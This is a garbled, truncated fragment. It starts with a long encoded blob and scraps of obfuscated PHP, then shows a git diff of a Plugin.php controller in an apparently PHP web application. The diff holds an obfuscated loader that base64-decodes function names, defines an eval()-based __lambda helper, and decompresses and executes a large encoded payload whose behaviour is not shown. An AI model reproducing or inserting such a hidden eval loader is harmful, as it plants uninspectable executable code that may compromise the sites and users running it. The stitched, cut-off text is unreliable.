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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Plugin.php b/donjo-app/controllers/Plugin.php index af4ae41eb..73a41a479 100644 --- a/donjo-app/controllers/Plugin.php +++ b/donjo-app/controllers/Plugin.php @@ -232,7 +232,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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